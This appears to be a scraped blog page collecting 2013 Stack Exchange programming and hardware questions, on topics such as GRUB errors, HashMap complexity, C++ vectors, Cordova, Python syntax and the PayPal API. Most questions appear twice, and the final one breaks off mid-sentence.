error: file'/boot/grub/x86_64-efi/normal.mod' not found
I get this error:
error: file'/boot/grub/x86_64-efi/normal.mod' not found.
grub rescue>
I am on a ASUS U38DT which came pre-installed with windows 8 and I tried
to install Ubuntu 13.04 instead via USB (not dual boot). Now my computer
doesn't boot into any OS and I'm a little screwed. How do i completely
remove windows 8 and get Ubuntu to work?
Monday, 30 September 2013
Why use a resistor in filter circuits electronics.stackexchange.com
Why use a resistor in filter circuits – electronics.stackexchange.com
Since capacitors and inductors can filter on their own. Why are separate
resistors needed? For example in a RC circuit, using only a capacitor
would be different in what manner?
Since capacitors and inductors can filter on their own. Why are separate
resistors needed? For example in a RC circuit, using only a capacitor
would be different in what manner?
How do I use this debug macro?
How do I use this debug macro?
using namespace std;
#ifdef DEBUG
#define debug(args...) {dbg,args; cerr<<endl;}
#else
#define debug(args...) // Just strip off all debug
tokens
using namespace std;
#ifdef DEBUG
#define debug(args...) {dbg,args; cerr<<endl;}
#else
#define debug(args...) // Just strip off all debug
tokens
How to connect MS SQL dynamically with postgreSQl data base
How to connect MS SQL dynamically with postgreSQl data base
I am very new in PostgreSQL database. I am currently using MS SQL server
2008. Now i need the whole data in postgreSQL, I have installed postgreSQL
in my server. Kindly tell me the procedure to connect with PostgreSQl. If
there is no option, kindly tell me whether we can take back up of MS SQl
and restore it in postgreSQl
thanks in advance
I am very new in PostgreSQL database. I am currently using MS SQL server
2008. Now i need the whole data in postgreSQL, I have installed postgreSQL
in my server. Kindly tell me the procedure to connect with PostgreSQl. If
there is no option, kindly tell me whether we can take back up of MS SQl
and restore it in postgreSQl
thanks in advance
Sunday, 29 September 2013
How are HashMap et al really O(1)?
How are HashMap et al really O(1)?
I'm studying Java collection performance characteristics, Big O notation
and complexity, etc. There's a real-world part I can't wrap my head
around, and that's why HashMap and other hash containers are considered
O(1), which should mean that finding an entry by key in a 1,000 entry
table should take about the same time as a 1,000,000 entry table.
Let's say you have HashMap myHashMap, stored with a key of first name +
last name. If you call myHashMap.get("FredFlinstone"), how can it
instantly find Fred Flinstone's Person object? How can it not have to
iterate through the set of keys stored in the HashMap to find the pointer
to the object? If there were 1,000,000 entries in the HashMap, the list of
keys would also be 1,000,000 long (assuming no collision), which must take
more time to go through than a list of 1.000, even if it were sorted. So
how can the get() or containsKey() time not change with n?
Note: I thought my question would be answered in Is a Java hashmap really
O(1)? but the answers didn't really address this point. My question is
also not about collisions.
I'm studying Java collection performance characteristics, Big O notation
and complexity, etc. There's a real-world part I can't wrap my head
around, and that's why HashMap and other hash containers are considered
O(1), which should mean that finding an entry by key in a 1,000 entry
table should take about the same time as a 1,000,000 entry table.
Let's say you have HashMap myHashMap, stored with a key of first name +
last name. If you call myHashMap.get("FredFlinstone"), how can it
instantly find Fred Flinstone's Person object? How can it not have to
iterate through the set of keys stored in the HashMap to find the pointer
to the object? If there were 1,000,000 entries in the HashMap, the list of
keys would also be 1,000,000 long (assuming no collision), which must take
more time to go through than a list of 1.000, even if it were sorted. So
how can the get() or containsKey() time not change with n?
Note: I thought my question would be answered in Is a Java hashmap really
O(1)? but the answers didn't really address this point. My question is
also not about collisions.
Find over an Unsorted vector
Find over an Unsorted vector
I need to apply a FIND functionality over vector elements (similar to the
MATLAB FIND command) returning all ocurrences. While being unable to find
this using the STL functions with iterators, i concocted this function:
vector<int> find(vector<int> v, int value,vector<int>*ive)
{
//Generic Find
vector<int> ve;
for (int i=0;i<v.size();i++)
{
if (v[i]==value)
{
ive->push_back(i);
ve.push_back(v[i]);}
}
return ve;
}
called with:
//Values
vector<int> v1 = {1,3,3,4,5,2,3,4,6,7,7,8,1,2,2,3,2,2,3,2};
vector<int> iRange,vRange;
int val=2;
//Manual FIND
vRange=find(v1,val,&iRange);
PrintArray(vRange);
PrintArray(iRange);
Returning the correct result:
*vRange: 2 2 2 2 2 2
iRange: 5 13 14 16 17 19*
WHich of course do not use the pair object, the sort and equal_range
function, which would be the ideal:
pair<vector<int>::iterator,vector<int>::iterator> Range;
sort(v1.begin(),v1.end());
Range=equal_range(v1.begin(),v1.end(),val);
Returning the absolutely proper, but -so far- totally useless result, if
one wishes the vector unsorded:
*Range Iters: 2 2 2 2 2 2
Range: 2 3 4 5 6 7*
What is the solution for this?
Thanks, hyp
I need to apply a FIND functionality over vector elements (similar to the
MATLAB FIND command) returning all ocurrences. While being unable to find
this using the STL functions with iterators, i concocted this function:
vector<int> find(vector<int> v, int value,vector<int>*ive)
{
//Generic Find
vector<int> ve;
for (int i=0;i<v.size();i++)
{
if (v[i]==value)
{
ive->push_back(i);
ve.push_back(v[i]);}
}
return ve;
}
called with:
//Values
vector<int> v1 = {1,3,3,4,5,2,3,4,6,7,7,8,1,2,2,3,2,2,3,2};
vector<int> iRange,vRange;
int val=2;
//Manual FIND
vRange=find(v1,val,&iRange);
PrintArray(vRange);
PrintArray(iRange);
Returning the correct result:
*vRange: 2 2 2 2 2 2
iRange: 5 13 14 16 17 19*
WHich of course do not use the pair object, the sort and equal_range
function, which would be the ideal:
pair<vector<int>::iterator,vector<int>::iterator> Range;
sort(v1.begin(),v1.end());
Range=equal_range(v1.begin(),v1.end(),val);
Returning the absolutely proper, but -so far- totally useless result, if
one wishes the vector unsorded:
*Range Iters: 2 2 2 2 2 2
Range: 2 3 4 5 6 7*
What is the solution for this?
Thanks, hyp
Cordova error when adding Android
Cordova error when adding Android
I am getting the following error when trying to add android to my cordova
project. iOS was working just fine.
$ cordova platform add android [Error: An error occured during creation of
android sub-project. An unexpected error occurred: "$ANDROID_BIN" create
project --target $TARGET --path "$PROJECT_PATH" --package $PACKAGE
--activity $ACTIVITY >&/dev/null exited with 1 Deleting project...
Any ideas what the reason for that can be?
Thanks, Nik
I am getting the following error when trying to add android to my cordova
project. iOS was working just fine.
$ cordova platform add android [Error: An error occured during creation of
android sub-project. An unexpected error occurred: "$ANDROID_BIN" create
project --target $TARGET --path "$PROJECT_PATH" --package $PACKAGE
--activity $ACTIVITY >&/dev/null exited with 1 Deleting project...
Any ideas what the reason for that can be?
Thanks, Nik
Calling a method of view in emberjs
Calling a method of view in emberjs
I have a one method in my view and i want to call this method from
controller.The controller and view is like this :
App.theController = Ember.ArrayController.extend({
methodA:function(){
//how to call methodB in view
}
});
App.theView = Ember.View.extend({
methodB:function(){
//do something
}
});
the question is how methodA can call methodB ?
I have a one method in my view and i want to call this method from
controller.The controller and view is like this :
App.theController = Ember.ArrayController.extend({
methodA:function(){
//how to call methodB in view
}
});
App.theView = Ember.View.extend({
methodB:function(){
//do something
}
});
the question is how methodA can call methodB ?
Saturday, 28 September 2013
pushing values in a array javascript
pushing values in a array javascript
I have this array of (x,y) values and I want to change the form in
to(x:,y:). I tried to initialize data to rows and to an emplty array but
it didnt work.
var rows = new Array(
Array(0,0),
Array(90,90),
Array(59,70),
Array(65,77),
Array(85,66)
);
for (var i =0; i < rows.length; i++) {
data.push({x: rows[i][0], y: rows[i][1]});
}
how to initialize data array in order to have the wanted array.
I have this array of (x,y) values and I want to change the form in
to(x:,y:). I tried to initialize data to rows and to an emplty array but
it didnt work.
var rows = new Array(
Array(0,0),
Array(90,90),
Array(59,70),
Array(65,77),
Array(85,66)
);
for (var i =0; i < rows.length; i++) {
data.push({x: rows[i][0], y: rows[i][1]});
}
how to initialize data array in order to have the wanted array.
C++ base 10 to base 2 logic error
C++ base 10 to base 2 logic error
I am doing a basic program to convert number from base 10 to base 2. I got
this code:
#include <cstdlib>
#include <iostream>
#include <stdlib.h>
#include <stdio.h>
using namespace std;
int main()
{
int num=0, coc=0, res=0, div=0;
printf ("Write a base 10 number\n");
scanf ("%d", &num);
div=num%2;
printf ("The base 2 value is:\n");
if(div==1)
{
coc=num/2;
res=num%2;
while(coc>=1)
{
printf ("%d", res);
res=coc%2;
coc=coc/2;
}
if(coc<1)
{
printf ("1");
}
}
else
{
printf ("1");
coc=num/2;
res=num%2;
while(coc>=1)
{
printf ("%d", res);
res=coc%2;
coc=coc/2;
}
}
printf ("\n");
system ("PAUSE");
return EXIT_SUCCESS;
}
Everything is good with certain numbers, but, if I try to convert the
number 11 to base 2, I get 1101, if I try 56 I get 100011... I know is a
logic problem and I am limited to basic algoritms and functions :(... any
ideas?
I am doing a basic program to convert number from base 10 to base 2. I got
this code:
#include <cstdlib>
#include <iostream>
#include <stdlib.h>
#include <stdio.h>
using namespace std;
int main()
{
int num=0, coc=0, res=0, div=0;
printf ("Write a base 10 number\n");
scanf ("%d", &num);
div=num%2;
printf ("The base 2 value is:\n");
if(div==1)
{
coc=num/2;
res=num%2;
while(coc>=1)
{
printf ("%d", res);
res=coc%2;
coc=coc/2;
}
if(coc<1)
{
printf ("1");
}
}
else
{
printf ("1");
coc=num/2;
res=num%2;
while(coc>=1)
{
printf ("%d", res);
res=coc%2;
coc=coc/2;
}
}
printf ("\n");
system ("PAUSE");
return EXIT_SUCCESS;
}
Everything is good with certain numbers, but, if I try to convert the
number 11 to base 2, I get 1101, if I try 56 I get 100011... I know is a
logic problem and I am limited to basic algoritms and functions :(... any
ideas?
new BitmapDrawable() is deprecated - Eclipse: Unable to resolve this error using several arguments?
new BitmapDrawable() is deprecated - Eclipse: Unable to resolve this error
using several arguments?
Team, Instead of using the easy way out [@SuppressWarnings("deprecation")]
I want to learn the right way. I tried several ways of fixing this but no
luck. How do I resolve this? thanks in advance.
new BitmapDrawable(mContext.getResoursces(), null) < not working new
BitmapDrawable(mContext.getResoursces()) < not working
mContext = context;
protected Drawable mBackground = null;
mWindowManager = (WindowManager)
context.getSystemService(Context.WINDOW_SERVICE);
if (mBackground == null)
mWindow.setBackgroundDrawable(new *BitmapDrawable()*);
else
mWindow.setBackgroundDrawable(mBackground);
public void setBackgroundDrawable(Drawable background) {
mBackground = background;
}
using several arguments?
Team, Instead of using the easy way out [@SuppressWarnings("deprecation")]
I want to learn the right way. I tried several ways of fixing this but no
luck. How do I resolve this? thanks in advance.
new BitmapDrawable(mContext.getResoursces(), null) < not working new
BitmapDrawable(mContext.getResoursces()) < not working
mContext = context;
protected Drawable mBackground = null;
mWindowManager = (WindowManager)
context.getSystemService(Context.WINDOW_SERVICE);
if (mBackground == null)
mWindow.setBackgroundDrawable(new *BitmapDrawable()*);
else
mWindow.setBackgroundDrawable(mBackground);
public void setBackgroundDrawable(Drawable background) {
mBackground = background;
}
Apache commons math curve fitting to log periodic power law
Apache commons math curve fitting to log periodic power law
I want to fit Didier Sornetts Crash indicator using apache commons math
curve fitting solver. But I do not have any idea what to provide to the
gradient function. Can anyone help me out or guide me to a good tutorial
using commom math curve fitting?
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package tryout;
import java.sql.Date;
import org.apache.commons.math.FunctionEvaluationException;
import org.apache.commons.math.optimization.fitting.CurveFitter;
import org.apache.commons.math.optimization.fitting.ParametricRealFunction;
import
org.apache.commons.math.optimization.general.LevenbergMarquardtOptimizer;
/**
*
* @author Krusty
*/
public class Fitting {
static String[] date = new
String[]{"2012-07-31","2012-07-30","2012-07-27","2012-07-26","2012-07-25","2012-07-24","2012-07-23","2012-07-20","2012-07-19","2012-07-18","2012-07-17","2012-07-16","2012-07-13","2012-07-12","2012-07-11","2012-07-10","2012-07-09","2012-07-06","2012-07-05","2012-07-03","2012-07-02","2012-06-29","2012-06-28","2012-06-27","2012-06-26","2012-06-25","2012-06-22","2012-06-21","2012-06-20","2012-06-19","2012-06-18","2012-06-15","2012-06-14","2012-06-13","2012-06-12","2012-06-11","2012-06-08","2012-06-07","2012-06-06","2012-06-05","2012-06-04","2012-06-01","2012-05-31","2012-05-30","2012-05-29","2012-05-25","2012-05-24","2012-05-23","2012-05-22","2012-05-21","2012-05-18","2012-05-17","2012-05-16","2012-05-15","2012-05-14","2012-05-11","2012-05-10","2012-05-09","2012-05-08","2012-05-07","2012-05-04","2012-05-03","2012-05-02","2012-05-01","2012-04-30","2012-04-27","2012-04-26","2012-04-25","2012-04-24","2012-04-23","2012-04-20","2012-04-19","2012-04-18","2012-04-17","2012-04-16","2012-
04-13","2012-04-12","2012-04-11","2012-04-10","2012-04-09","2012-04-05","2012-04-04","2012-04-03","2012-04-02"};
static double[] value = new
double[]{594,578.7,569.1,559.1,559.19,584.43,587.26,587.71,597.46,589.62,590.28,590.25,588.37,582.46,587.84,591.52,597.04,589.25,593.2,582.96,576.26,567.97,553.43,558.73,556.33,555.1,566.12,561.81,569.66,571.29,569.7,558.37,555.84,556.46,560.35,555.49,564.39,556.03,555.78,547.38,548.8,545.59,561.87,563.27,556.56,546.86,549.8,554.9,541.68,545.87,515.82,515.57,531.09,537.99,542.9,551.16,554.86,553.56,552.59,553.85,549.74,565.85,569.9,566.15,567.95,586.45,591.02,593.26,544.9,556.01,557.25,571.32,591.64,592.97,564.21,588.62,605.68,609.01,611.19,618.77,616.29,607.17,612.05,601.65};
public static void main (String args[]) throws Exception {
final CurveFitter fitter = new CurveFitter(new
LevenbergMarquardtOptimizer());
for (int i=0;i<date.length;i++) {
fitter.addObservedPoint(Date.valueOf(date[0]).getTime(),
value[i]);
}
double[] initialguess2 = new double[7];
initialguess2[0] = value[value.length-1]; // A
initialguess2[1] = -1.0d; // B
initialguess2[2] = 0.0d; // C
initialguess2[3] = Date.valueOf(date[date.length-1]).getTime(); // tc
initialguess2[4] = 9d; // w
initialguess2[5] = 1.0d; // p
initialguess2[6] = 0.5d; // m
fitter.fit(new Sornette(), initialguess2);
}
// y = A + B * Math.pow((tc − x),m) + C * Math.pow((tc −
x),m) * Math.cos(w * log(tc − x) - pi );
public static class Sornette implements ParametricRealFunction {
@Override
public double value(double x, double[] parameters ) throws
FunctionEvaluationException {
double A = parameters[0];
double B = parameters[1];
double C = parameters[2];
double tc = parameters[3];
double w = parameters[4];
double p = parameters[5];
double m = parameters[6];
// y = A + B * Math.pow((tc - x),m) + C * Math.pow((tc - x),m)
* Math.cos(w * log(tc - x) - p );
return A + B * Math.pow((tc - x),m) + C * Math.pow((tc - x),m)
* Math.cos(w * log(tc - x) - p );
}
public double log(double d) {
return Math.log(d);
//return Math.log10(d);
}
@Override
public double[] gradient(double d, double[] parameters ) throws
FunctionEvaluationException {
/*
* no idea what to do here lt;lt; ---------------
*/
}
}
}
/code/pre
I want to fit Didier Sornetts Crash indicator using apache commons math
curve fitting solver. But I do not have any idea what to provide to the
gradient function. Can anyone help me out or guide me to a good tutorial
using commom math curve fitting?
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package tryout;
import java.sql.Date;
import org.apache.commons.math.FunctionEvaluationException;
import org.apache.commons.math.optimization.fitting.CurveFitter;
import org.apache.commons.math.optimization.fitting.ParametricRealFunction;
import
org.apache.commons.math.optimization.general.LevenbergMarquardtOptimizer;
/**
*
* @author Krusty
*/
public class Fitting {
static String[] date = new
String[]{"2012-07-31","2012-07-30","2012-07-27","2012-07-26","2012-07-25","2012-07-24","2012-07-23","2012-07-20","2012-07-19","2012-07-18","2012-07-17","2012-07-16","2012-07-13","2012-07-12","2012-07-11","2012-07-10","2012-07-09","2012-07-06","2012-07-05","2012-07-03","2012-07-02","2012-06-29","2012-06-28","2012-06-27","2012-06-26","2012-06-25","2012-06-22","2012-06-21","2012-06-20","2012-06-19","2012-06-18","2012-06-15","2012-06-14","2012-06-13","2012-06-12","2012-06-11","2012-06-08","2012-06-07","2012-06-06","2012-06-05","2012-06-04","2012-06-01","2012-05-31","2012-05-30","2012-05-29","2012-05-25","2012-05-24","2012-05-23","2012-05-22","2012-05-21","2012-05-18","2012-05-17","2012-05-16","2012-05-15","2012-05-14","2012-05-11","2012-05-10","2012-05-09","2012-05-08","2012-05-07","2012-05-04","2012-05-03","2012-05-02","2012-05-01","2012-04-30","2012-04-27","2012-04-26","2012-04-25","2012-04-24","2012-04-23","2012-04-20","2012-04-19","2012-04-18","2012-04-17","2012-04-16","2012-
04-13","2012-04-12","2012-04-11","2012-04-10","2012-04-09","2012-04-05","2012-04-04","2012-04-03","2012-04-02"};
static double[] value = new
double[]{594,578.7,569.1,559.1,559.19,584.43,587.26,587.71,597.46,589.62,590.28,590.25,588.37,582.46,587.84,591.52,597.04,589.25,593.2,582.96,576.26,567.97,553.43,558.73,556.33,555.1,566.12,561.81,569.66,571.29,569.7,558.37,555.84,556.46,560.35,555.49,564.39,556.03,555.78,547.38,548.8,545.59,561.87,563.27,556.56,546.86,549.8,554.9,541.68,545.87,515.82,515.57,531.09,537.99,542.9,551.16,554.86,553.56,552.59,553.85,549.74,565.85,569.9,566.15,567.95,586.45,591.02,593.26,544.9,556.01,557.25,571.32,591.64,592.97,564.21,588.62,605.68,609.01,611.19,618.77,616.29,607.17,612.05,601.65};
public static void main (String args[]) throws Exception {
final CurveFitter fitter = new CurveFitter(new
LevenbergMarquardtOptimizer());
for (int i=0;i<date.length;i++) {
fitter.addObservedPoint(Date.valueOf(date[0]).getTime(),
value[i]);
}
double[] initialguess2 = new double[7];
initialguess2[0] = value[value.length-1]; // A
initialguess2[1] = -1.0d; // B
initialguess2[2] = 0.0d; // C
initialguess2[3] = Date.valueOf(date[date.length-1]).getTime(); // tc
initialguess2[4] = 9d; // w
initialguess2[5] = 1.0d; // p
initialguess2[6] = 0.5d; // m
fitter.fit(new Sornette(), initialguess2);
}
// y = A + B * Math.pow((tc − x),m) + C * Math.pow((tc −
x),m) * Math.cos(w * log(tc − x) - pi );
public static class Sornette implements ParametricRealFunction {
@Override
public double value(double x, double[] parameters ) throws
FunctionEvaluationException {
double A = parameters[0];
double B = parameters[1];
double C = parameters[2];
double tc = parameters[3];
double w = parameters[4];
double p = parameters[5];
double m = parameters[6];
// y = A + B * Math.pow((tc - x),m) + C * Math.pow((tc - x),m)
* Math.cos(w * log(tc - x) - p );
return A + B * Math.pow((tc - x),m) + C * Math.pow((tc - x),m)
* Math.cos(w * log(tc - x) - p );
}
public double log(double d) {
return Math.log(d);
//return Math.log10(d);
}
@Override
public double[] gradient(double d, double[] parameters ) throws
FunctionEvaluationException {
/*
* no idea what to do here lt;lt; ---------------
*/
}
}
}
/code/pre
Friday, 27 September 2013
Artificial Intelligence programming in Python for a robot
Artificial Intelligence programming in Python for a robot
I am looking to program a robot which uses some Artificial Intelligence
Algorithms in Python. So far I have looked at a variety of processors
including Arduino, but have read they don't work well with python, can
someone suggest an appropriate processor which can handle such algorithms?
I am looking to program a robot which uses some Artificial Intelligence
Algorithms in Python. So far I have looked at a variety of processors
including Arduino, but have read they don't work well with python, can
someone suggest an appropriate processor which can handle such algorithms?
Display decimals two digits unless integer
Display decimals two digits unless integer
Multiplication of two numbers
$(document).ready(function () {
$("#input1, #input2").change(function () {
var num = parseFloat($("#input1").val()) *
parseFloat($("#input2").val());
if (num % 1 != 0) {
num = Math.floor(num * 100) / 100;
} else {
num = parseInt(num);
}
$("#input3").val(num);
});
});
If the result is integer as 10, it is written as 10. It is ok for me.
If the result is as 10.01, it is written as 10.01. It is ok for me.
But if the result is as 10.10, it is written as 10.1 instead of 10.10.
How do display "always" two digits only if there is any decimals?
Multiplication of two numbers
$(document).ready(function () {
$("#input1, #input2").change(function () {
var num = parseFloat($("#input1").val()) *
parseFloat($("#input2").val());
if (num % 1 != 0) {
num = Math.floor(num * 100) / 100;
} else {
num = parseInt(num);
}
$("#input3").val(num);
});
});
If the result is integer as 10, it is written as 10. It is ok for me.
If the result is as 10.01, it is written as 10.01. It is ok for me.
But if the result is as 10.10, it is written as 10.1 instead of 10.10.
How do display "always" two digits only if there is any decimals?
Convert containers via constructor
Convert containers via constructor
Suppose I have classes
class A {
//...
};
struct B {
explicit B(const A&);
//...
};
and I have a container of A's, from which I would like to construct a
container of B's. What is an idiomatic way to do this in c++ 03?
Tried and failed:
std::vector<A> source = fillSourceObjects();
std::vector<B> target;
// 1) won't compile; presumably I need a static helper function,
// but I would like to avoid that
std::transform(source.begin(), source.end(), std::back_inserter(target), B);
std::transform(source.begin(), source.end(), std::back_inserter(target),
B::B);
// 2) won't compile; "... error: no match for 'operator=' in '* __result =
*__first'
std::copy(source.begin(), source.end(), target.begin());
Suppose I have classes
class A {
//...
};
struct B {
explicit B(const A&);
//...
};
and I have a container of A's, from which I would like to construct a
container of B's. What is an idiomatic way to do this in c++ 03?
Tried and failed:
std::vector<A> source = fillSourceObjects();
std::vector<B> target;
// 1) won't compile; presumably I need a static helper function,
// but I would like to avoid that
std::transform(source.begin(), source.end(), std::back_inserter(target), B);
std::transform(source.begin(), source.end(), std::back_inserter(target),
B::B);
// 2) won't compile; "... error: no match for 'operator=' in '* __result =
*__first'
std::copy(source.begin(), source.end(), target.begin());
Side by Side Divs with a Media Query giving the wrong order
Side by Side Divs with a Media Query giving the wrong order
Am sure this is very obvious... but I can't seem to figure it out.
I have two divs that I need above one another when the media width is
small, and beside each other when large. The right one is fixed width, and
the left is variable. However, when I use floats they end up in the wrong
order. If I swap around the divs in the html, they no longer line up
nicely.
Here is the fiddle. http://jsfiddle.net/CwMTU/2/
HTML
<div class="right"> right content fixed width </div>
<div class="left"> left navbar variable width </div>
CSS
.right {
width: 200px;
float: right;}
.left{
margin-right: 200px;}
@media (max-width: 500px) {
.left {
width: 100%;}
.right {
width: 100%;}
}
Am sure this is very obvious... but I can't seem to figure it out.
I have two divs that I need above one another when the media width is
small, and beside each other when large. The right one is fixed width, and
the left is variable. However, when I use floats they end up in the wrong
order. If I swap around the divs in the html, they no longer line up
nicely.
Here is the fiddle. http://jsfiddle.net/CwMTU/2/
HTML
<div class="right"> right content fixed width </div>
<div class="left"> left navbar variable width </div>
CSS
.right {
width: 200px;
float: right;}
.left{
margin-right: 200px;}
@media (max-width: 500px) {
.left {
width: 100%;}
.right {
width: 100%;}
}
Can't identify syntax error? Also, need using raw_input with list
Can't identify syntax error? Also, need using raw_input with list
I'm trying to develop a simple Python program to calculate the formula
mass of a compound. I'm facing 2 issues:
There's apparently a syntax error with 'b' but I don't know what it is.
Here is what I've done so far:
def FormulaMass():
H = 1
He = 4
Li = 7
Be = 9
B = 11
C = 12
N = 14
O = 16
F = 19
Ne = 20
Na = 23
Mg = 24
Al = 27
Si = 28
P = 31
S = 32
Cl = 35.5
Ar = 40
K = 39
Ca = 40
Sc = 45
Ti = 48
V = 51
Cr = 52
Mn = 55
Fe = 56
Co = 59
Ni = 59
Cu = 63.5
Zn = 65
Ga = 70
Ge = 73
As = 75
Se = 79
Br = 80
Rb = 85.5
Sr = 88
Y = 89
Zr = 91
Nb = 93
Mo = 96
Tc = 98
Ru = 101
Rh = 103
Pd = 106.5
Ag = 108
Cd = 112.5
In = 115
Sn = 119
Sb = 122
Te = 128
I =127
Xe = 131
Cs = 133
Ba = 137
La = 139
Ce = 140
Pr = 141
Nd = 144
Pm = 145
Sm = 150
Eu = 152
Gd = 157
Tb = 159
Dy = 162.5
Ho = 165
Er = 167
Tm = 169
Yb = 173
Lu = 175
Hf = 178.5
Ta = 181
W = 184
Re = 186
Os = 190
Ir = 192
Pt = 195
Au = 197
Hg = 201
Tl = 204
Pb = 207
Bi = 209
Po = 209
At = 210
Rn = 222
Fr = 223
Ra = 226
Ac = 227
Th = 232
Pa = 231
U = 238
Np = 237
Pu = 244
Am = 243
Cm = 247
Bk = 247
Cf = 251
Es = 252
Fm = 257
Md = 258
No = 259
Rf = 261
Db = 262
Sg = 266
Bh = 264
Hs = 277
Mt = 268
Ds = 271
Rg = 272
Uub = 285
Uut = 284
Uuq = 289
Uup = 288
Uuh = 292
Uuo = 294
element = [H, He, Li, Be, B. C, N, O, F, Ne, Na, Mg, Al, Si, P, S, Cl,
Ar, K, Ca, Sc, Ti, V, Cr, Mn, Fe, Co, Ni, Cu, Zn, Ga, Ge, As, Se, Br,
Rb, Sr, Y, Zr, Nb, Mo, Tc, Ru, Rh, Pd, Ag, Cd, In, Sn, Sb, Te, I, Xe,
Cs, Ba, La, Ce, Pr, Nd, Pm, Sm, Eu, Gd, Tb, Dy, Ho, Er, Tm, Yb, Lu,
Hf, Ta, W, Re, Os, Ir, Pt, Au, Hg, Tl, Pb, Bi, Po, At, Rn, Fr, Ra, Ac,
Th, Pa, U, Np, Pu, Am, Cm, Bk, Cf, Es, Fm, Md, No, Rf, Db, Sg, Bh, Hs,
Mt, Ds, Rg, Uub, Uut, Uuq, Uup, Uuh, Uuo]
a = raw_input('Which' + str(element) + '?')
b = float(raw_input('How many moles?'))
c = str(raw_input('Is that all [Y/N]?'))
while c == 'N':
print
'a' doesn't actually come up when running the code it just immediately
identifies this syntax error in 'b'.
What I'm trying to do with 'a' is to allow the user to input a constant
from the list 'element' so that the mass (depending on the number of moles
can be calculated). Now one potential problem I see is that I'm not sure
how to allow users to input different elements with different numbers of
moles without creating endless constants (e.g. a, b ,c...).
The aim is to add a*b at the end to find the mass but is there a way to
make multiple a's and b's so in theory users could have a*b + a1*b1...
PS Sorry for not putting in my code properly it would take too long for me
to put 4 indents after each line :/
I'm trying to develop a simple Python program to calculate the formula
mass of a compound. I'm facing 2 issues:
There's apparently a syntax error with 'b' but I don't know what it is.
Here is what I've done so far:
def FormulaMass():
H = 1
He = 4
Li = 7
Be = 9
B = 11
C = 12
N = 14
O = 16
F = 19
Ne = 20
Na = 23
Mg = 24
Al = 27
Si = 28
P = 31
S = 32
Cl = 35.5
Ar = 40
K = 39
Ca = 40
Sc = 45
Ti = 48
V = 51
Cr = 52
Mn = 55
Fe = 56
Co = 59
Ni = 59
Cu = 63.5
Zn = 65
Ga = 70
Ge = 73
As = 75
Se = 79
Br = 80
Rb = 85.5
Sr = 88
Y = 89
Zr = 91
Nb = 93
Mo = 96
Tc = 98
Ru = 101
Rh = 103
Pd = 106.5
Ag = 108
Cd = 112.5
In = 115
Sn = 119
Sb = 122
Te = 128
I =127
Xe = 131
Cs = 133
Ba = 137
La = 139
Ce = 140
Pr = 141
Nd = 144
Pm = 145
Sm = 150
Eu = 152
Gd = 157
Tb = 159
Dy = 162.5
Ho = 165
Er = 167
Tm = 169
Yb = 173
Lu = 175
Hf = 178.5
Ta = 181
W = 184
Re = 186
Os = 190
Ir = 192
Pt = 195
Au = 197
Hg = 201
Tl = 204
Pb = 207
Bi = 209
Po = 209
At = 210
Rn = 222
Fr = 223
Ra = 226
Ac = 227
Th = 232
Pa = 231
U = 238
Np = 237
Pu = 244
Am = 243
Cm = 247
Bk = 247
Cf = 251
Es = 252
Fm = 257
Md = 258
No = 259
Rf = 261
Db = 262
Sg = 266
Bh = 264
Hs = 277
Mt = 268
Ds = 271
Rg = 272
Uub = 285
Uut = 284
Uuq = 289
Uup = 288
Uuh = 292
Uuo = 294
element = [H, He, Li, Be, B. C, N, O, F, Ne, Na, Mg, Al, Si, P, S, Cl,
Ar, K, Ca, Sc, Ti, V, Cr, Mn, Fe, Co, Ni, Cu, Zn, Ga, Ge, As, Se, Br,
Rb, Sr, Y, Zr, Nb, Mo, Tc, Ru, Rh, Pd, Ag, Cd, In, Sn, Sb, Te, I, Xe,
Cs, Ba, La, Ce, Pr, Nd, Pm, Sm, Eu, Gd, Tb, Dy, Ho, Er, Tm, Yb, Lu,
Hf, Ta, W, Re, Os, Ir, Pt, Au, Hg, Tl, Pb, Bi, Po, At, Rn, Fr, Ra, Ac,
Th, Pa, U, Np, Pu, Am, Cm, Bk, Cf, Es, Fm, Md, No, Rf, Db, Sg, Bh, Hs,
Mt, Ds, Rg, Uub, Uut, Uuq, Uup, Uuh, Uuo]
a = raw_input('Which' + str(element) + '?')
b = float(raw_input('How many moles?'))
c = str(raw_input('Is that all [Y/N]?'))
while c == 'N':
'a' doesn't actually come up when running the code it just immediately
identifies this syntax error in 'b'.
What I'm trying to do with 'a' is to allow the user to input a constant
from the list 'element' so that the mass (depending on the number of moles
can be calculated). Now one potential problem I see is that I'm not sure
how to allow users to input different elements with different numbers of
moles without creating endless constants (e.g. a, b ,c...).
The aim is to add a*b at the end to find the mass but is there a way to
make multiple a's and b's so in theory users could have a*b + a1*b1...
PS Sorry for not putting in my code properly it would take too long for me
to put 4 indents after each line :/
Not able to test RefundTransaction API (Classic) on Paypal API Explorer
Not able to test RefundTransaction API (Classic) on Paypal API Explorer
I tried to use Paypal API Explorer to know how the refund transaction
works. I have put all the API credentials as required like- - API username
- API password - API signature - Application ID (sandbox) - currencyCode -
errorLanguage - detailLevel - transactionId - amount - email -
primary(true)
and I hit 'Try Now' button. It processed my request and gave response as -
ack: Failure - errorId: 520002 - message: Internal Error
But I don't understand, why did it fail ? Am I doing anything wrong ? Or
do I need to provide any more information ?
I tried to use Paypal API Explorer to know how the refund transaction
works. I have put all the API credentials as required like- - API username
- API password - API signature - Application ID (sandbox) - currencyCode -
errorLanguage - detailLevel - transactionId - amount - email -
primary(true)
and I hit 'Try Now' button. It processed my request and gave response as -
ack: Failure - errorId: 520002 - message: Internal Error
But I don't understand, why did it fail ? Am I doing anything wrong ? Or
do I need to provide any more information ?
Changing the direction of the Cycle Carousel
Changing the direction of the Cycle Carousel
I want to change direction of .cycle carousel from right to left to left
to right?
$zillaSlider2.cycle({
fx: 'carousel',
allowWrap: true,
autoHeight: 0,
slides: '> li',
timeout:10,
speed: 2000,
updateView: 1, // fire update view one time
})
Could anyone please help me on this? Thanks in advance.
I want to change direction of .cycle carousel from right to left to left
to right?
$zillaSlider2.cycle({
fx: 'carousel',
allowWrap: true,
autoHeight: 0,
slides: '> li',
timeout:10,
speed: 2000,
updateView: 1, // fire update view one time
})
Could anyone please help me on this? Thanks in advance.
Thursday, 26 September 2013
Simulator Launch issue in xcode 5
Simulator Launch issue in xcode 5
When I open xcode 5 and run any project it gives "SpringBoard Failed to
launch application with error: -3".
Plz help me
When I open xcode 5 and run any project it gives "SpringBoard Failed to
launch application with error: -3".
Plz help me
Wednesday, 25 September 2013
How to add repeat count or expire date for Local notification
How to add repeat count or expire date for Local notification
When I log the description of the local notification
